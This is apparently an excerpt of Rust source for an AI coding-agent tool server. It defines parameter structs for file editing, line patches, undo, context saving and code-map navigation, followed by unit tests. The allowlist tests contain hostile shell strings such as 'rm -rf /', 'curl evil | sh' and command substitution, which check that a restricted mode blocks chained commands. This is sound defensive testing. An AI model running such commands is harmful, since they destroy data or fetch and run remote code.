959#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
960pub enum BashMode {
961 NormalMode,
962 RestrictedMode,
963}
964
965// File edit mode
966#[derive(Debug, Clone, JsonSchema, PartialEq)]
967pub struct FileEditMode {
968 pub allowed_globs: AllowedGlobs,
969}
970
971// Write if empty mode
972#[derive(Debug, Clone, JsonSchema, PartialEq)]
973pub struct WriteIfEmptyMode {
974 pub allowed_globs: AllowedGlobs,
975}
976
977/// Parameters for the `FileWriteOrEdit` tool
978///
979/// This struct represents the parameters needed to write or edit a file
980/// with optional search/replace blocks for partial edits.
981#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
982pub struct FileWriteOrEdit {
983 /// Path to the file to write or edit
984 ///
985 /// This must be an absolute path (~ allowed).
986 pub file_path: String,
987
988 /// Percentage of the file that will be changed
989 ///
990 /// If > 50%, the content is treated as the entire file content.
991 /// If <= 50%, the content is treated as search/replace blocks.
992 pub percentage_to_change: u32,
993
994 /// Content for the file or search/replace blocks
995 ///
996 /// If `percentage_to_change` > 50%, this is the entire file content.
997 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
998 /// in the format:
999 /// ```text
1000 /// <<<<<<< SEARCH
1001 /// old content to find
1002 /// =======
1003 /// new content to replace with
1004 /// >>>>>>> REPLACE
1005 /// ```
1006 pub text_or_search_replace_blocks: String,
1007
1008 /// The thread ID for this session
1009 pub thread_id: String,
1010}
1011
1012/// One compare-and-swap line patch. Coordinates refer to the original revision,
1013/// are one-based, and all patches are applied together.
1014#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
1015pub struct LinePatch {
1016 /// Original line before which replacement starts (`totalLines + 1` appends).
1017 pub start_line: usize,
1018 /// Number of original lines to remove; zero performs an insertion.
1019 pub delete_lines: usize,
1020 /// Exact replacement bytes. Include newlines intentionally.
1021 pub replacement: String,
1022}
1023
1024/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1025/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1026/// already known.
1027#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1028pub struct ApplyPatch {
1029 /// Path returned by `ReadFiles.files[].path`.
1030 pub file_path: String,
1031 /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1032 pub expected_revision: String,
1033 /// Ordered, non-overlapping edits against that original revision.
1034 pub patches: Vec<LinePatch>,
1035 /// Thread ID for the same project session that produced the revision.
1036 pub thread_id: String,
1037}
1038
1039/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1040/// corresponding [`FileWriteOrEdit`] fields.
1041#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1042pub struct FileEditEntry {
1043 /// Path to the file to write or edit (absolute, ~ allowed).
1044 pub file_path: String,
1045 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1046 pub percentage_to_change: u32,
1047 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1048 pub text_or_search_replace_blocks: String,
1049}
1050
1051/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1052/// all-or-nothing at the COMPUTE stage.
1053///
1054/// Every file is validated and its new content computed in memory first; only
1055/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1056/// the last file leaves the first files untouched. The write stage is a sequence
1057/// of atomic single-file renames and stops at the first I/O failure (already
1058/// written files are not rolled back, which is reported clearly).
1059#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1060pub struct MultiFileEdit {
1061 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1062 pub files: Vec<FileEditEntry>,
1063
1064 /// The thread ID for this session
1065 pub thread_id: String,
1066}
1067
1068/// Parameters for rerunning a post-edit verification without repeating the edit.
1069#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1070pub struct VerifyEdit {
1071 /// Deterministic receipt returned by the edit that first ran this command.
1072 pub verification_id: String,
1073 /// Exact finite foreground verification command from the edit receipt.
1074 pub command: String,
1075 /// Optional bounded inline wait, from 0 through 60 seconds.
1076 #[serde(default)]
1077 pub wait_for_seconds: Option<f32>,
1078 /// The thread ID for the same project session as the original edit.
1079 pub thread_id: String,
1080}
1081
1082/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1083/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1084#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1085pub struct UndoEdit {
1086 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1087 pub file_path: String,
1088
1089 /// The thread ID for this session
1090 pub thread_id: String,
1091}
1092
1093/// Parameters for the `ContextSave` tool
1094///
1095/// This struct represents the parameters needed to save context information
1096/// about a task, including file contents from specified globs.
1097#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1098pub struct ContextSave {
1099 /// Unique identifier for the task
1100 ///
1101 /// This should be a unique string that identifies the task. It can be
1102 /// a random 3-word identifier or a user-provided value.
1103 pub id: String,
1104
1105 /// Root path of the project
1106 ///
1107 /// This should be an absolute path to the project root. If empty, no
1108 /// project root will be used.
1109 pub project_root_path: String,
1110
1111 /// Description of the task
1112 ///
1113 /// This should contain a detailed description of the task, including
1114 /// relevant context, problems, and objectives.
1115 pub description: String,
1116
1117 /// List of file glob patterns
1118 ///
1119 /// These glob patterns identify the files that should be included in
1120 /// the saved context. Patterns can be absolute or relative to the project root.
1121 pub relevant_file_globs: Vec<String>,
1122
1123 /// Optional thread ID identifying the shell session to operate on. When
1124 /// omitted, the most recently active session is used.
1125 #[serde(default)]
1126 pub thread_id: String,
1127}
1128
1129/// Parameters for the `ReadImage` tool
1130///
1131/// This struct represents the parameters needed to read an image file.
1132#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1133pub struct ReadImage {
1134 /// Path to the image file to read
1135 ///
1136 /// This can be an absolute path or a path relative to the current working directory.
1137 pub file_path: String,
1138
1139 /// Optional thread ID identifying the shell session to operate on. When
1140 /// omitted, the most recently active session is used.
1141 #[serde(default)]
1142 pub thread_id: String,
1143
1144 /// Deliver the image again even when the unchanged bytes were already sent
1145 /// in this live session. Leave false for normal agent use so accidental
1146 /// repeated calls do not resend a multi-megabyte image.
1147 #[serde(default)]
1148 pub force: bool,
1149}
1150
1151/// Operation for the `CodeMap` tool.
1152#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1153#[serde(rename_all = "snake_case")]
1154pub enum CodeMapOperation {
1155 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1156 Outline,
1157 /// The definition + reference (call/use) sites of a symbol name across the repo.
1158 References,
1159}
1160
1161/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1162/// two operations, in place of separate `Outline` / `FindReferences` tools.
1163#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1164pub struct CodeMap {
1165 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1166 /// or `references` (the definition + use sites of a symbol name).
1167 pub operation: CodeMapOperation,
1168
1169 /// For `outline`: the file or directory to map (empty or a directory = a
1170 /// ranked repo symbol map). For `references`: the directory or file to search
1171 /// under (empty = the whole workspace). Relative paths resolve against the
1172 /// workspace.
1173 #[serde(default)]
1174 pub path: String,
1175
1176 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1177 /// Required for `references`, ignored by `outline`.
1178 #[serde(default)]
1179 pub name: String,
1180
1181 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1182 /// occurrences for `references`. 0 means the default.
1183 #[serde(default)]
1184 pub max_results: usize,
1185
1186 /// Optional task focus used to rank directory maps. Short symbol names,
1187 /// paths, or a concise topic work best. Ignored by single-file outlines and
1188 /// reference searches.
1189 #[serde(default)]
1190 pub query: String,
1191
1192 /// Opaque continuation returned by a truncated directory outline. Reuse it
1193 /// with the same path, query, and workspace snapshot; omit it to restart.
1194 #[serde(default)]
1195 pub cursor: String,
1196
1197 /// Optional thread ID identifying the shell session to operate on. When
1198 /// omitted, the most recently active session is used.
1199 #[serde(default)]
1200 pub thread_id: String,
1201}
1202
1203/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1204/// internally by `CodeMap`.
1205#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1206pub struct Outline {
1207 /// File or directory to outline. A file returns that file's symbols; a
1208 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1209 /// map. Relative paths resolve against the workspace.
1210 #[serde(default)]
1211 pub path: String,
1212
1213 /// Maximum symbols to return for a single file, or maximum files for a repo
1214 /// map. 0 means the default.
1215 #[serde(default)]
1216 pub max_results: usize,
1217
1218 /// Optional task focus used to rank directory maps.
1219 #[serde(default)]
1220 pub query: String,
1221
1222 /// Opaque continuation for a directory map.
1223 #[serde(default)]
1224 pub cursor: String,
1225
1226 /// Optional thread ID identifying the shell session to operate on. When
1227 /// omitted, the most recently active session is used.
1228 #[serde(default)]
1229 pub thread_id: String,
1230}
1231
1232/// One symbol (definition) in `Outline` output.
1233#[derive(Debug, Clone, Serialize, JsonSchema)]
1234pub struct OutlineSymbol {
1235 /// Symbol name.
1236 pub name: String,
1237 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1238 pub kind: String,
1239 /// 1-based line where the definition starts.
1240 pub line: usize,
1241}
1242
1243/// Symbols for one file in `Outline` output.
1244#[derive(Debug, Clone, Serialize, JsonSchema)]
1245pub struct OutlineFile {
1246 /// Workspace-relative path of the file.
1247 pub file: String,
1248 /// Definitions found in the file, in source order.
1249 pub symbols: Vec<OutlineSymbol>,
1250}
1251
1252/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1253/// symbols. Exact source remains canonical; helpers are optional and derived.
1254#[derive(Debug, Clone, Serialize, JsonSchema)]
1255pub struct CodeMapFallback {
1256 /// Tool that can retrieve the canonical source.
1257 pub tool: String,
1258 /// Absolute path ready for `ReadFiles.file_paths`.
1259 pub file_paths: Vec<String>,
1260 /// Stable machine-readable reason for the fallback.
1261 pub reason: String,
1262 /// Session-local location for a genuinely useful derived helper.
1263 pub temporary_artifact_dir: String,
1264}
1265
1266/// Structured result of an `Outline` call (mirrors the text block).
1267#[derive(Debug, Clone, Serialize, JsonSchema)]
1268pub struct OutlineOutput {
1269 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1270 pub mode: String,
1271 /// Number of files included in `files`.
1272 pub files_shown: usize,
1273 /// Per-file symbol lists.
1274 pub files: Vec<OutlineFile>,
1275 /// True if the symbol map was capped (more files or symbols exist).
1276 pub truncated: bool,
1277 /// Opaque continuation for the next ranked directory-map page.
1278 #[serde(skip_serializing_if = "Option::is_none")]
1279 pub next_cursor: Option<String>,
1280 /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1281 #[serde(skip_serializing_if = "Option::is_none")]
1282 pub snapshot_hash: Option<String>,
1283 /// Number of candidate files inspected while producing this page.
1284 pub files_scanned: usize,
1285 /// Combined bytes of the human-readable map and its structured navigation
1286 /// payload, before the small shared MCP result envelope is added.
1287 pub payload_bytes: usize,
1288 /// Lowercase source extension in single-file mode.
1289 #[serde(skip_serializing_if = "Option::is_none")]
1290 pub file_extension: Option<String>,
1291 /// Whether Winx has a native tags query for the single-file language.
1292 #[serde(skip_serializing_if = "Option::is_none")]
1293 pub language_supported: Option<bool>,
1294 /// Exact-source recovery for an unsupported or unavailable parser.
1295 #[serde(skip_serializing_if = "Option::is_none")]
1296 pub fallback: Option<CodeMapFallback>,
1297}
1298
1299/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1300#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1301pub struct FindReferences {
1302 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1303 pub name: String,
1304
1305 /// Directory or file to search under. Relative paths resolve against the
1306 /// workspace; leave empty to search the whole workspace.
1307 #[serde(default)]
1308 pub path: String,
1309
1310 /// Maximum occurrences to return. 0 means the default.
1311 #[serde(default)]
1312 pub max_results: usize,
1313
1314 /// Optional thread ID identifying the shell session to operate on. When
1315 /// omitted, the most recently active session is used.
1316 #[serde(default)]
1317 pub thread_id: String,
1318}
1319
1320/// One symbol occurrence in `FindReferences` output.
1321#[derive(Debug, Clone, Serialize, JsonSchema)]
1322pub struct ReferenceHit {
1323 /// Workspace-relative path.
1324 pub file: String,
1325 /// 1-based line.
1326 pub line: usize,
1327 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1328 pub kind: String,
1329 /// True for a definition, false for a reference (call / use site).
1330 pub is_definition: bool,
1331}
1332
1333/// Structured result of a `FindReferences` call (mirrors the text block).
1334#[derive(Debug, Clone, Serialize, JsonSchema)]
1335pub struct ReferencesOutput {
1336 /// The symbol name that was searched for.
1337 pub name: String,
1338 /// Number of returned hits that are definitions.
1339 pub definitions: usize,
1340 /// Number of returned hits that are references (call / use sites).
1341 pub references: usize,
1342 /// True if the result was capped (more occurrences exist).
1343 pub truncated: bool,
1344 /// Combined bytes of the human-readable result and structured navigation
1345 /// payload before the shared MCP envelope is added.
1346 pub payload_bytes: usize,
1347 /// Occurrences, definitions first then references, each group by file/line.
1348 pub hits: Vec<ReferenceHit>,
1349}
1350
1351/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1352#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1353pub struct CodeMapTemporaryHelperBudget {
1354 pub calls_used: usize,
1355 pub calls_limit: usize,
1356 pub unique_files_used: usize,
1357 pub unique_files_limit: usize,
1358}
1359
1360/// JSON Schema advertised for `CodeMap.structuredContent`.
1361///
1362/// `CodeMap` has two operations with different payloads. Their shared
1363/// `truncated` field is required; operation-specific fields are optional so the
1364/// single object schema accepts both the outline and references result shapes.
1365#[derive(Debug, Clone, JsonSchema)]
1366pub struct CodeMapStructuredOutput {
1367 pub truncated: bool,
1368 pub next_cursor: Option<String>,
1369 pub snapshot_hash: Option<String>,
1370 pub files_scanned: Option<usize>,
1371 pub payload_bytes: Option<usize>,
1372 pub source_kind: Option<String>,
1373 pub canonical: Option<bool>,
1374 pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1375 pub mode: Option<String>,
1376 pub files_shown: Option<usize>,
1377 pub files: Option<Vec<OutlineFile>>,
1378 pub file_extension: Option<String>,
1379 pub language_supported: Option<bool>,
1380 pub fallback: Option<CodeMapFallback>,
1381 pub name: Option<String>,
1382 pub definitions: Option<usize>,
1383 pub references: Option<usize>,
1384 pub hits: Option<Vec<ReferenceHit>>,
1385}
1386
1387#[cfg(test)]
1388mod thread_id_tests {
1389 use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1390
1391 #[test]
1392 fn clean_id_is_unchanged() {
1393 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1394 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1395 }
1396
1397 #[test]
1398 fn empty_and_all_special_normalize_to_empty() {
1399 assert_eq!(normalize_thread_id(""), "");
1400 assert_eq!(normalize_thread_id("---"), "");
1401 }
1402
1403 #[test]
1404 fn separator_variants_do_not_collide() {
1405 // "user-1" and "user1" must NOT resolve to the same session/state file.
1406 let a = normalize_thread_id("user-1");
1407 let b = normalize_thread_id("user1");
1408 assert_ne!(a, b);
1409 assert!(a.starts_with("user1_"), "got {a}");
1410 assert_eq!(b, "user1");
1411 // "user-1" vs "user_1" must also stay distinct.
1412 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1413 }
1414
1415 #[test]
1416 fn normalization_is_deterministic() {
1417 // Same input -> same hash -> same session across restarts.
1418 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1419 }
1420
1421 #[test]
1422 fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1423 let original = "á".repeat(200);
1424 let normalized = normalize_thread_id(&original);
1425 assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1426 assert!(normalized.is_char_boundary(normalized.len()));
1427 assert_eq!(normalize_thread_id(&normalized), normalized);
1428 }
1429}
1430
1431#[cfg(test)]
1432mod allowlist_tests {
1433 use super::AllowedCommands;
1434
1435 fn list(items: &[&str]) -> AllowedCommands {
1436 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1437 }
1438
1439 #[test]
1440 fn all_permits_everything() {
1441 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1442 }
1443
1444 #[test]
1445 fn list_allows_exact_and_args() {
1446 let a = list(&["ls", "cargo test"]);
1447 assert!(a.is_allowed("ls"));
1448 assert!(a.is_allowed("ls -la"));
1449 assert!(a.is_allowed("cargo test --release"));
1450 }
1451
1452 #[test]
1453 fn list_blocks_word_boundary_lookalikes() {
1454 let a = list(&["ls", "cargo test"]);
1455 assert!(!a.is_allowed("lsof"));
1456 assert!(!a.is_allowed("cargo testimony"));
1457 }
1458
1459 #[test]
1460 fn list_blocks_chained_and_substituted_commands() {
1461 let a = list(&["ls"]);
1462 // The old first-token check let all of these through.
1463 assert!(!a.is_allowed("ls && curl evil | sh"));
1464 assert!(!a.is_allowed("ls; rm -rf /"));
1465 assert!(!a.is_allowed("ls $(rm -rf x)"));
1466 assert!(!a.is_allowed("ls | rm"));
1467 }
1468
1469 #[test]
1470 fn list_allows_chain_when_all_parts_permitted() {
1471 let a = list(&["cargo build", "cargo test"]);
1472 assert!(a.is_allowed("cargo build && cargo test"));
1473 }
1474}
1475
1476#[cfg(test)]
1477mod code_writer_config_tests {
1478 use super::deserialize_code_writer_config;
1479 use serde_json::json;
1480
1481 #[test]
1482 fn explicit_null_opts_out() {
1483 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1484 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1485 }
1486
1487 #[test]
1488 fn valid_config_parses() {
1489 let r = deserialize_code_writer_config(json!({
1490 "allowed_commands": "all",
1491 "allowed_globs": "all",
1492 }));
1493 assert!(matches!(r, Ok(Some(_))));
1494 }
1495
1496 #[test]
1497 fn malformed_config_fails_loud() {
1498 // The crux of the fix: a malformed restricted-mode config must ERROR,
1499 // not silently degrade to None (None falls back to All/All — wide open,
1500 // while the model believes the shell is locked down).
1501 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1502 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1503 }
1504}